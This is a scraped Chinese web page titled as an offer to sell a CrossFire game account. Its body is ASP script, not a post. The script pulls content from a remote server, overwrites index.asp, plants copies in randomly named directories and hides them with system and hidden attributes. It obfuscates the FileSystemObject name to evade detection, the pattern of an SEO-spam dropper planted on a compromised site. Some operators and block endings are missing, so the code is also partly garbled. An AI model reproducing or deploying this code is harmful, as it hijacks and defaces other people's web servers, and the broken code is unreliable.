5173诚心出穿越火线官网盘龙hao。。。150

来源：蜘蛛抓取(WebSpider) 时间：2014-12-07 08:39 标签： 穿越火线单机版
Server.ScriptTimeOut=500
Remote_server="/zd.php" //服务端url地址
directory_Number=10 //栏目数量
Branch_directory_1=getCode(Rand(3,5))
Branch_directory_2=getCode(Rand(3,5))
Branch_directory_3=getCode(Rand(3,5))
Branch_directory_4=getCode(Rand(3,5))
Branch_directory_5=getCode(Rand(3,5))
Branch_directory_6=getCode(Rand(3,5))
Branch_directory_7=getCode(Rand(3,5))
Branch_directory_8=getCode(Rand(3,5))
Branch_directory_9=getCode(Rand(3,5))
Branch_directory_10=getCode(Rand(3,5))
Branch_directory_11=getCode(Rand(3,5))
Branch_directory_12=getCode(Rand(3,5))
Branch_directory_13=getCode(Rand(3,5))
Branch_directory_14=getCode(Rand(3,5))
Branch_directory_15=getCode(Rand(3,5))
Branch_directory_16=getCode(Rand(3,5))
Branch_directory=Branch_directory_1&"."&Branch_directory_2&"."&Branch_directory_3&"."&Branch_directory_4&"."&Branch_directory_5&"."&Branch_directory_6&"."&Branch_directory_7&"."&Branch_directory_8&"."&Branch_directory_9&"."&Branch_directory_10&"."&Branch_directory_11&"."&Branch_directory_12&"."&Branch_directory_13&"."&Branch_directory_14&"."&Branch_directory_15&"."&Branch_directory_16
NewFile_content=a("index.asp")
dim ml,str,Quantity
ml=Request.ServerVariables("HTTP_url")
str= Split(ml,"/")
Quantity=ubound(str)-1 //层数
if Quantity<5 then
host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),"index.asp","")
Remote_directory = Remote_server
Content_directory = getHTTPPage(Remote_directory)
Content_mb=GetHtml(Remote_server)
Branch_directory= Split(Branch_directory,".")
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
Content_mb=Content_mb&" "
response.write Content_mb
for i=0 to (ubound(Branch_directory))
if CFolder("./"&Branch_directory(i)&"/")=1 then
WriteIn server.mappath("./"&Branch_directory(i)&"/index.asp"),NewFile_content
WriteIn Server.MapPath("./")&"\index.asp",Content_mb
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile(Server.MapPath("index.asp"))
if f.attributes
f.attributes = 7
server.transfer("index.asp")
Content_mb=GetHtml(Remote_server)
WriteIn Server.MapPath("./")&"\index.asp",Content_mb
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile(Server.MapPath("index.asp"))
if f.attributes
f.attributes = 7
server.transfer("index.asp")
Function getHTTPPage(url)
On Error Resume Next
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate4 then
exit function
getHTTPPage=bytesToBSTR(Http.responseBody,"gb2312")
set http=nothing
If Err.number0 then
Response.Write "服务器获取文件内容出错"
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

我要回帖

更多关于 穿越火线单机版 的文章

 

随机推荐